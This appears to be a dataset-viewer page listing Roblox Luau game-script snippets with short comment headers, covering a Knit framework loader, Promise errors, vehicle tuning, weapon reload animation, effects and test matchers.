assert(not DoesControllerExist(controllerDef.Name), "Controller \"" .. controllerDef.Name .. "\" already exists")
local controller: Controller = TableUtil.Assign(controllerDef, {
_knit_is_controller = true;
})
KnitClient.Controllers[controller.Name] = controller
return controller
end
function KnitClient.AddControllers(folder: Instance): {any}
return Loader.LoadChildren(folder)
end
function KnitClient.AddControllersDeep(folder: Instance): {any}
return Loader.LoadDescendants(folder)
end
function KnitClient.GetService(serviceName: string): Service
assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
local folder: Instance? = servicesFolder:FindFirstChild(serviceName)
assert(folder ~= nil, "Could not find service \"" .. serviceName .. "\"")
return services[serviceName] or BuildService(serviceName, folder :: Instance)
end
function KnitClient.GetController(controllerName: string): Controller?
return KnitClient.Controllers[controllerName]
end
function KnitClient.Start()
if started then
return Promise.Reject("Knit already started")
end
started = true
local controllers = KnitClient.Controllers
return Promise.new(function(resolve)
-- Init:
local promisesStartControllers = {}
for _,controller in pairs(controllers) do
if type(controller.KnitInit) == "function" then
table.insert(promisesStartControllers, Promise.new(function(r)
controller:KnitInit()
r()
end))
end
end
resolve(Promise.All(promisesStartControllers))
end):Then(function()
-- Start:
for _,controller in pairs(controllers) do
if type(controller.KnitStart) == "function" then
task.spawn(controller.KnitStart, controller)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
end)
end
function KnitClient.OnStart()
if startedComplete then
return Promise.Resolve()
else
return Promise.FromEvent(onStartedComplete.Event)
end
end
return KnitClient
|
--[[
An object to represent runtime errors that occur during execution.
Promises that experience an error like this will be rejected with
an instance of this object.
]]
|
local Error do
Error = {
Kind = makeEnum("Promise.Error.Kind", {
"ExecutionError",
"AlreadyCancelled",
"NotResolvedInTime",
"TimedOut",
}),
}
Error.__index = Error
function Error.new(options, parent)
options = options or {}
return setmetatable({
error = tostring(options.error) or "[This error has no error text.]",
trace = options.trace,
context = options.context,
kind = options.kind,
parent = parent,
createdTick = os.clock(),
createdTrace = debug.traceback(),
}, Error)
end
function Error.is(anything)
if type(anything) == "table" then
local metatable = getmetatable(anything)
if type(metatable) == "table" then
return rawget(anything, "error") ~= nil and type(rawget(metatable, "extend")) == "function"
end
end
return false
end
function Error.isKind(anything, kind)
assert(kind ~= nil, "Argument #2 to Promise.Error.isKind must not be nil")
return Error.is(anything) and anything.kind == kind
end
function Error:extend(options)
options = options or {}
options.kind = options.kind or self.kind
return Error.new(options, self)
end
function Error:getErrorChain()
local runtimeErrors = { self }
while runtimeErrors[#runtimeErrors].parent do
table.insert(runtimeErrors, runtimeErrors[#runtimeErrors].parent)
end
return runtimeErrors
end
function Error:__tostring()
local errorStrings = {
string.format("-- Promise.Error(%s) --", self.kind or "?"),
}
for _, runtimeError in ipairs(self:getErrorChain()) do
table.insert(errorStrings, table.concat({
runtimeError.trace or runtimeError.error,
runtimeError.context,
}, "\n"))
end
return table.concat(errorStrings, "\n")
end
end
|
--!nonstrict
--[[
MouseLockController - Replacement for ShiftLockController, manages use of mouse-locked mode
2018 Camera Update - AllYourBlox
--]]
| |
--[[Transmission]]
|
Tune.TransModes = {"Auto","Semi","Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
Tune.ShiftTime = .3 -- The time delay in which you initiate a shift and the car changes gear
--Gear Ratios
Tune.FinalDrive = 0.8 -- [TRANSMISSION CALCULATIONS FOR NERDS]
Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)
--[[ R ]] 18.641 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier
--[[ N ]] 0 ,
--[[ 1 ]] 16.641 ,
--[[ 2 ]] 12.342 ,
--[[ 3 ]] 9.812 ,
--[[ 4 ]] 7.765 ,
--[[ 5 ]] 6.272 ,
--[[ 6 ]] 5.045 ,
--[[ 7 ]] 4.572 ,
--[[ 8 ]] 4.072
}
Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
-- Variables
|
local poolSizeMultiplier = getSetting("Pool size multiplier") or 1
playerService.PlayerAdded:Connect(function (plr)
if not workspace:FindFirstChild("Blood") then
folder = Instance.new("Folder", workspace)
folder.Name = "Blood"
end
local charFolder = Instance.new("Folder", folder)
charFolder.Name = plr.Name
plr.CharacterAdded:Connect(function (char)
local humanoid = char:WaitForChild("Humanoid")
humanoid.Died:Connect(function ()
pcall(function ()
local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") or nil
local root = char:FindFirstChild("HumanoidRootPart") or nil
local base
local function bloodPool (part, limbCenter)
local pool = Instance.new("Part", charFolder)
pool.CanCollide = false
pool.BrickColor = BrickColor.new("Crimson")
pool.Material = Enum.Material.Plastic
pool.Transparency = .2
pool.CastShadow = false
pool.Shape = "Cylinder"
pool.Anchored = true
pool.Size = Vector3.new(.1, 0, 0)
pool.CFrame = part.CFrame
if limbCenter then
pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y - (base.Size.Y / 2) + math.random(0, .2), torso.Position.Z + math.random(-4, 4))
else
pool.CFrame = CFrame.new(torso.Position.X + math.random(-4, 4), base.Position.Y + (base.Size.Y / 2), torso.Position.Z + math.random(-4, 4))
end
pool.Orientation = Vector3.new(0, 0, 90)
tweenService:Create(pool, TweenInfo.new(math.random(.4, 4), Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = Vector3.new(.1, math.random(3, 7) * poolSizeMultiplier, math.random(3, 7) *poolSizeMultiplier)}):Play()
debris:AddItem(pool, 9)
end
if char.Humanoid.RigType == Enum.HumanoidRigType.R6 then
wait(.2)
if not char:FindFirstChild("Head") and workspace:FindFirstChild(plr.Name .. "-2") then
char = workspace[plr.Name .. "-2"]
end
end
repeat wait() until math.floor(torso.Velocity.Magnitude) == 0
local baseBlacklist = char:GetChildren()
pcall(function ()
for _,plr in pairs(game:GetService("Players"):GetPlayers()) do
if plr.Character then
for _,v in pairs(plr.Character:GetChildren()) do
if v:IsA("BasePart") then
table.insert(baseBlacklist, v)
elseif v:IsA("Accoutrement") then
table.insert(baseBlacklist, v:FindFirstChildWhichIsA("BasePart"))
elseif v:IsA("Tool") and v:FindFirstChild("Handle") then
table.insert(baseBlacklist, v.Handle)
end
end
end
if workspace:FindFirstChild(plr.Name .. "-2") then
for _,p in pairs(workspace[plr.Name .. "-2"]:GetChildren()) do
if p:IsA("BasePart") then
table.insert(baseBlacklist, p)
elseif p:IsA("Accoutrement") then
table.insert(baseBlacklist, p:FindFirstChildWhichIsA("BasePart"))
end
end
end
end
end)
if type(baseBlacklist) == "table" then
local limbCenter = false
base = workspace:FindPartsInRegion3WithIgnoreList(Region3.new(torso.Position - torso.Size * 2, torso.Position + torso.Size * 2), baseBlacklist, 1)[1]
if not base then
if char:FindFirstChild("Left Leg") then
base = char["Left Leg"]
limbCenter = true
elseif char:FindFirstChild("LeftFoot") then
base = char["LeftFoot"]
limbCenter = true
end
end
if base then
for _,limb in pairs(char:GetChildren()) do
if limb:IsA("BasePart") and limb.Name ~= "HumanoidRootPart" then
bloodPool(limb, limbCenter)
end
end
end
end
end)
end)
end)
end)
playerService.PlayerRemoving:Connect(function (plr)
if folder:FindFirstChild(plr.Name) then
folder[plr.Name]:Destroy()
end
end)
|
--This script automatically adds your chat modules to the chat system
--Put this script in ServerScriptService
--Dont remove the childs of this script
--All Child will be added into the Chat system after the game has started
--If you have more chat modules, feel free to use this script
|
local CSR = game.Chat:WaitForChild("ChatServiceRunner")
CSR.Disabled = true
for _,v in pairs(script:GetChildren()) do
v.Parent = game.Chat:WaitForChild("ChatModules")
end
CSR.Disabled = false --ChatServiceRunner is now restarted and will load all added modules
script:Destroy() --the script has after this no purpose anymore
|
--------------------------------------------------------------#
|
function Tween(instance,tweeninformation,goals)
TweenService:Create(instance,tweeninformation,goals):Play()
end
LightGroup = script.Parent.Lights:GetChildren()
while true do
wait(0)
if script.Parent.on.Value then
for i = 1,#LightGroup do
Tween(LightGroup[i],TweenInfo.new(deltatime),{Transparency = 0})
Tween(LightGroup[i].Light,TweenInfo.new(deltatime),{Brightness = 2})
Tween(script.Parent.TailLight.Light,TweenInfo.new(deltatime),{Brightness = 2})
end
else
for i = 1,#LightGroup do
Tween(LightGroup[i],TweenInfo.new(deltatime),{Transparency = 1})
Tween(LightGroup[i].Light,TweenInfo.new(deltatime),{Brightness = 0})
Tween(script.Parent.TailLight.Light,TweenInfo.new(deltatime),{Brightness = 0})
end
end
end
|
----- Utils -----
|
local function DeepCopyTable(t)
local copy = {}
for key, value in pairs(t) do
if type(value) == "table" then
copy[key] = DeepCopyTable(value)
else
copy[key] = value
end
end
return copy
end
local function ReconcileTable(target, template)
for k, v in pairs(template) do
if type(k) == "string" then -- Only string keys will be reconciled
if target[k] == nil then
if type(v) == "table" then
target[k] = DeepCopyTable(v)
else
target[k] = v
end
elseif type(target[k]) == "table" and type(v) == "table" then
ReconcileTable(target[k], v)
end
end
end
end
|
--//Configure//--
|
EngineSound = "http://www.roblox.com/asset/?id=426479434"
enginevolume = 0.5
enginePitchAdjust = 1
IdleSound = "http://www.roblox.com/asset/?id=426479434" --{If you dont have a separate sound, use engine sound ID}
idlePitchAdjust = 0.9
TurboSound = "http://www.roblox.com/asset/?id=286070281"
turbovolume = 1
SuperchargerSound = "http://www.roblox.com/asset/?id=404779487"
superchargervolume = 0.5
HornSound = "http://www.roblox.com/asset/?id=143133249"
hornvolume = 1
StartupSound = "http://www.roblox.com/asset/?id=169394147"
startupvolume = 0.5
startuplength = 1 --{adjust this for a longer startup duration}
WHEELS_VISIBLE = true --If your wheels transparency is a problem, change this value to false
BRAKES_VISIBLE = false --This is to hide the realistic brakes, you can set this to false if you'd like to see how the brakes work
AUTO_FLIP = true --If false, your car will not flip itself back over in the event of a turnover
SpeedoReading = "MPH" --{KPH, MPH}
RevDecay = 150 --{The higher this value, the faster it will decay}
--//INSPARE//--
--//SS6//--
--//Build 1.25//--
--and i'll write your name.
script.Parent.Name = "VehicleSeat"
|
-- Variable
|
local Player = game.Players.LocalPlayer
local Character = Player.Character
local Camera = game.Workspace.CurrentCamera
local SpeedBoost = 27 -- What your speed is going to be when you hold shift
local DefaultSpeed = 16 -- What your speed is going to be when you let of shift
local UserInputService = game:GetService("UserInputService")
|
-- Put your code down here and don't delete this entire text.
|
local rocket = script.Parent.Parent.Rocket
local debounce = false
script.Parent.Event:connect(function()
if debounce == false then
debounce = true
for i = 1,75 do
rocket.Top.Model:SetPrimaryPartCFrame(rocket.Top.Model:GetPrimaryPartCFrame()*CFrame.Angles(0,0,math.rad(-2)))
wait()
end
script.Parent.Parent.Rocket.Top.Core.A:play()
for i = 1,400 do
script.Parent.Parent.Walk.Walkway:SetPrimaryPartCFrame(script.Parent.Parent.Walk.Walkway:GetPrimaryPartCFrame()*CFrame.Angles(0,math.rad(-.1),0))
wait()
end
script.Parent.Parent.Rocket.Top.Core.A:stop()
script.Parent.Parent.Rocket.Top.Core.B:play()
wait(3)
rocket.Parent.Truss1.Anchored = false
rocket.Parent.Truss2.Anchored = false
rocket.Parent.Truss3.Anchored = false
rocket.Parent.Truss4.Anchored = false
rocket.Parent.Truss5.Anchored = false
rocket.Parent.Truss6.Anchored = false
rocket.Parent.Truss7.Anchored = false
rocket.Parent.Truss8.Anchored = false
wait(3)
script.Parent.Parent.Rocket.Top.Core.B:stop()
script.Parent.Parent.Rocket.Top.Core.C:play()
rocket.Weld.Disabled = false
rocket.SectionA.BoosterA.Rocket.ParticleEmitter.Enabled = true
rocket.SectionA.BoosterB.Rocket.ParticleEmitter.Enabled = true
rocket.SectionA.BoosterC.Rocket.ParticleEmitter.Enabled = true
rocket.SectionA.BoosterD.Rocket.ParticleEmitter.Enabled = true
for i = 1,300 do
rocket.CFrame.BodyVelocity.Velocity = rocket.CFrame.BodyVelocity.Velocity + Vector3.new(0,.5,0)
wait()
end
wait(5)
rocket.Top.Core.C:stop()
rocket.Top.Core.Decoupler:play()
rocket.SectionA.BoosterA.Rocket.ParticleEmitter.Enabled = false
rocket.SectionA.BoosterB.Rocket.ParticleEmitter.Enabled = false
rocket.SectionA.BoosterC.Rocket.ParticleEmitter.Enabled = false
rocket.SectionA.BoosterD.Rocket.ParticleEmitter.Enabled = false
rocket.SectionA.BoosterA:BreakJoints()
rocket.SectionA.BoosterB:BreakJoints()
rocket.SectionA.BoosterC:BreakJoints()
rocket.SectionA.BoosterD:BreakJoints()
wait(1)
rocket.Top.Core.D:play()
rocket.SectionA.Side.MainRocket.ParticleEmitter.Enabled = true
wait(3)
rocket.Top.Core.D:stop()
rocket.Top.Core.Decoupler:play()
rocket.SectionA.Side.MainRocket.ParticleEmitter.Enabled = false
rocket.SectionA.Side:BreakJoints()
wait(1)
rocket.Top.Core.E:play()
rocket.Top.Engine.ParticleEmitter.Enabled = true
end
end)
|
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,Distance = 10000
,BDrop = .25
,BSpeed = 2000
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = false
,BWEmitter = 25
,BWMaxDistance = 200
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = false
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 5
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = 100
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0
|
-- Max angle the wheels will reach when turning
-- Higher number means sharper turning, but too high means the wheels might hit the car base
|
local MAX_TURN_ANGLE = 40
|
-- Default cleanup routine (can be overridden)
|
function InstancePool.Cleanup(Instance)
Instance.Parent = nil
end
return InstancePool
|
-- ROBLOX deviation START: chalk doesn't support chaining methods. Using nested calls instead
|
local FAIL_COLOR = function(...)
return chalk.bold(chalk.red(...))
end
local OBSOLETE_COLOR = function(...)
return chalk.bold(chalk.yellow(...))
end
local SNAPSHOT_ADDED = function(...)
return chalk.bold(chalk.green(...))
end
local SNAPSHOT_NOTE = chalk.dim
local SNAPSHOT_REMOVED = function(...)
return chalk.bold(chalk.green(...))
end
local SNAPSHOT_SUMMARY = chalk.bold
local SNAPSHOT_UPDATED = function(...)
return chalk.bold(chalk.green(...))
end
|
-- поиск билжайшей цели в пределах дистанции
|
function module.findNearestHead(pos,max_dist)
local children
local target = nil
local target_head = nil
local rayResult = nil
for _, player in pairs(find:GetChildren()) do
local target_head = player:FindFirstChild("Head")
if target_head ~= nil then
if player:FindFirstChild("Humanoid") ~= nil then
local hum=player:FindFirstChild("Humanoid")
if player:FindFirstChild("Team") ~= nil and hum.Health>0 then
if (target_head.Position - pos.Position).magnitude < max_dist and player.Team.Value~="Ally" then
-- поиск ближайшего
if target == nil or (target_head.Position - pos.Position).magnitude < (target.Position - pos.Position).magnitude then
target=target_head
-- rayResult = myRay(target,pos,max_dist)
rayResult = true -- проверка что тормозят райкасты
|
--------------------[ RELOAD FUNCTIONS ]----------------------------------------------
|
function ReloadAnim()
TweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
TweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
local Speed = S.ReloadTime / 2
local Mag_Parts = {}
for _, Obj in pairs(Gun:GetChildren()) do
if Obj.Name == "Mag" and Obj:IsA("BasePart") then
INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})
end
end
local W1 = nil
local W2 = nil
local SequenceTable = {
function()
for Index, Mag in pairs(Mag_Parts) do
Mag.Original.Transparency = 1
Mag.Clone1.Parent = Gun_Ignore
Mag.Clone1.CanCollide = true
if Index ~= 1 then
local W = Instance.new("Weld")
W.Part0 = Mag_Parts[1].Clone1
W.Part1 = Mag.Clone1
W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)
W.Parent = Mag_Parts[1].Clone1
end
end
W1 = Instance.new("Weld")
W1.Part0 = Mag_Parts[1].Clone1
W1.Part1 = Handle
W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)
W1.Parent = Mag_Parts[1].Clone1
TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)
TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(20), RAD(3), 0), Linear, 0.35 * Speed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)
wait(0.3 * Speed)
end;
function()
TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)
wait(0.2 * Speed)
end;
function()
W1:Destroy()
Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-5,0)) * 20
spawn(function()
while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end
for _, Mag in pairs(Mag_Parts) do
Mag.Clone1.Anchored = true
Mag.Clone1:BreakJoints()
end
end)
for Index, Mag in pairs(Mag_Parts) do
Mag.Clone2.Parent = Gun_Ignore
if Index ~= 1 then
local W = Instance.new("Weld")
W.Part0 = Mag_Parts[1].Clone2
W.Part1 = Mag.Clone2
W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)
W.Parent = Mag_Parts[1].Clone2
end
end
W2 = Instance.new("Weld")
W2.Part0 = FakeLArm
W2.Part1 = Mag_Parts[1].Clone2
W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)
W2.Parent = FakeLArm
wait(0.1)
end;
function()
local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.9, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()
local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()
local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)
local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)
local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)
TweenJoint(LWeld, ArmC0[1], CF(.6, 1.8, -.3) * CFANG(RAD(-12), RAD(40), RAD(-60)), Sine, 0.6 * Speed)
TweenJoint(RWeld, ArmC0[2], CF(.6, -0.1, -0.5) * CFANG(RAD(-20), RAD(15), RAD(10)), Sine, 0.6 * Speed)
TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)
TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)
wait(0.8 * Speed)
end;
function()
for _, Mag in pairs(Mag_Parts) do
Mag.Original.Transparency = 0
Mag.Clone2:Destroy()
end
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)
wait(0.5 * Speed)
end;
}
for _,ReloadFunction in pairs(SequenceTable) do
if BreakReload then
break
end
ReloadFunction()
end
if W1 then W1:Destroy() end
if W2 then W2:Destroy() end
for _, Mag in pairs(Mag_Parts) do
Mag.Clone1:Destroy()
Mag.Clone2:Destroy()
end
end
function Reload()
Running = false
if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then
AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)
Ammo.Value = 0
Reloading = true
if Aimed then UnAimGun(S.ReloadAnimation) end
Gui_Clone.CrossHair.Reload.Visible = true
if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
if S.ReloadAnimation then
wait()
ReloadAnim()
else
local StartReload = tick()
while true do
if BreakReload then break end
if (tick() - StartReload) >= S.ReloadTime then break end
RS:wait()
end
end
if (not BreakReload) then
if StoredAmmo.Value >= ClipSize.Value then
Ammo.Value = ClipSize.Value
if AmmoInClip > 0 then
StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)
else
StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
end
elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
Ammo.Value = StoredAmmo.Value
StoredAmmo.Value = 0
end
end
BreakReload = false
Reloading = false
if Selected then
AmmoInClip = 0
Gui_Clone.CrossHair.Reload.Visible = false
end
end
end
|
-- Get services
|
local players = game:GetService("Players")
local soundService = game:GetService("SoundService")
local replicatedStorage = game:GetService("ReplicatedStorage")
|
--[[
Registers all spots associated with this canvas.
Parameters:
- spots (table[spots]): table list of Spot instances that are associated with this canvas.
]]
|
function Canvas:registerSpots(spots)
self.spots = spots
end
return Canvas
|
---------Credits on bottom of screen
|
Bin = script.Parent
function onButton1Down(mouse)
local smoke = script.Parent.Parent.Parent.Character.Leg1.Part
local smoke2 = script.Parent.Parent.Parent.Character.Leg2.Part
smoke.Smoke.Enabled = true
smoke2.Smoke.Enabled = true
end
function onButton1Up(mouse)
local smoke = script.Parent.Parent.Parent.Character.Leg1.Part
local smoke2 = script.Parent.Parent.Parent.Character.Leg2.Part
smoke.Smoke.Enabled = false
smoke2.Smoke.Enabled = false
end
function onSelected(mouse)
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.Button1Up:connect(function() onButton1Up(mouse) end)
end
Bin.Selected:connect(onSelected)
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = client.UI.Make("Window", {
Name = "CreateCard",
Title = "Create Card",
Icon = client.MatIcons["Add circle"],
Size = { 400, 330 },
AllowMultiple = false,
OnClose = function()
end
});
if v1 then
v1:Add("TextLabel", {
Text = "List Name: ",
BackgroundTransparency = 1,
Size = UDim2.new(0, 80, 0, 30),
Position = UDim2.new(0, 10, 0, 10),
TextXAlignment = "Right"
}):Copy("TextLabel", {
Text = "Card Name: ",
Position = UDim2.new(0, 10, 0, 50)
}):Copy("TextLabel", {
Text = "Card Desc: ",
Position = UDim2.new(0, 10, 0, 90)
});
local v2 = v1:Add("TextBox", {
Text = "",
BackgroundTransparency = 0.5,
Position = UDim2.new(0, 90, 0, 10),
Size = UDim2.new(1, -100, 0, 30),
BackgroundColor3 = v1.BackgroundColor3:lerp(Color3.new(1, 1, 1), 0.2),
TextWrapped = true
});
local v3 = {
Text = "Create",
Size = UDim2.new(0, 70, 0, 30),
Position = UDim2.new(0, 10, 1, -40)
};
local u1 = false;
local u2 = v2:Copy("TextBox", {
Position = UDim2.new(0, 90, 0, 50)
});
local u3 = v2:Copy("TextBox", {
Position = UDim2.new(0, 90, 0, 90),
Size = UDim2.new(1, -100, 1, -100)
});
function v3.OnClick()
if not u1 then
u1 = true;
v1:Destroy();
client.Remote.Send("TrelloOperation", {
Action = "MakeCard",
List = v2.Text,
Name = u2.Text,
Desc = u3.Text
});
end;
end;
local v4 = v1:Add("TextButton", v3);
local l__gTable__5 = v1.gTable;
v1:Ready();
end;
end;
|
-- ROBLOX deviation: upstream defines matchers as a single monolithic object but we split it up for readability
|
local function toBe(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: any,
expected: any
)
local matcherName = "toBe"
local options: MatcherHintOptions = {
comment = "Object.is equality",
isNot = self.isNot,
promise = self.promise,
}
local pass = Object.is(received, expected)
local message
if pass then
message = function()
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected: never %s", printExpected(expected))
end
else
message = function()
local deepEqualityName = nil
-- ROBLOX deviation: no map or set types for now so this check is always true so we omit it
-- if expectedType ~= 'map' and expectedType ~= 'set' then
-- If deep equality passes when referential identity fails,
-- but exclude map and set until review of their equality logic.
-- ROBLOX deviation: no strict equality in lua
if equals(received, expected, { iterableEquality }) then
deepEqualityName = "toEqual"
end
-- end
local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n"
if deepEqualityName ~= nil then
retval = retval
.. DIM_COLOR(
string.format(
'If it should pass with deep equality, replace "%s" with "%s"',
matcherName,
deepEqualityName
)
)
.. "\n\n"
end
return retval
.. printDiffOrStringify(expected, received, EXPECTED_LABEL, RECEIVED_LABEL, isExpand(self.expand))
end
end
-- Passing the actual and expected objects so that a custom reporter
-- could access them, for example in order to display a custom visual diff,
-- or create a different error message
return { actual = received, expected = expected, message = message, name = matcherName, pass = pass }
end
local function toBeCloseTo(
-- ROBLOX deviation: self param in Lua needs to be explicitely defined
self: MatcherState,
received: number,
expected: number,
precision: number
)
-- ROBLOX deviation: instead of getting argument count, just see if last arg is nil
local secondArgument
if precision then
secondArgument = "precision"
else
precision = 2
end
local matcherName = "toBeCloseTo"
local isNot = self.isNot
local options: MatcherHintOptions = {
isNot = isNot,
promise = self.promise,
secondArgument = secondArgument,
secondArgumentColor = function(arg: string)
return arg
end,
}
if typeof(expected) ~= "number" then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must be a number", EXPECTED_COLOR("expected")),
printWithType("Expected", expected, printExpected)
)
)
)
end
if typeof(received) ~= "number" then
error(
Error(
matcherErrorMessage(
matcherHint(matcherName, nil, nil, options),
string.format("%s value must be a number", RECEIVED_COLOR("received")),
printWithType("Received", received, printReceived)
)
)
)
end
local pass = false
local expectedDiff = 0
local receivedDiff = 0
if received == math.huge and expected == math.huge then
pass = true -- Infinity - Infinity is NaN
elseif received == -math.huge and expected == -math.huge then
pass = true -- -Infinity - -Infinity is NaN
else
expectedDiff = (10 ^ -precision) / 2
receivedDiff = math.abs(expected - received)
pass = receivedDiff < expectedDiff
end
local message
if pass then
message = function()
local retval = matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected: never %s\n", printExpected(expected))
if receivedDiff == 0 then
return retval
end
return retval
.. string.format("Received: %s\n", printReceived(received))
.. "\n"
.. printCloseTo(receivedDiff, expectedDiff, precision, isNot)
end
else
message = function()
return matcherHint(matcherName, nil, nil, options)
.. "\n\n"
.. string.format("Expected: %s\n", printExpected(expected))
.. string.format("Received: %s\n", printReceived(received))
.. "\n"
.. printCloseTo(receivedDiff, expectedDiff, precision, isNot)
end
end
return { message = message, pass = pass }
end
|
--custom cat stuff
|
function AlarmHazards(typ)
blinking = false
blinking = true
while blinking and script.Parent.Parent.Alarm.Value == true do
Toggle("Hazards", true)
wait(1/3)
Toggle("Hazards", false)
wait(1/3)
end
Toggle('Hazards', false)
end
script.Parent.Parent.Alarm.Changed:Connect(function()
if script.Parent.Parent.Alarm.Value == true then
AlarmHazards()
end
end)
|
-- Creates a chat message when a player joins or leaves the server.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.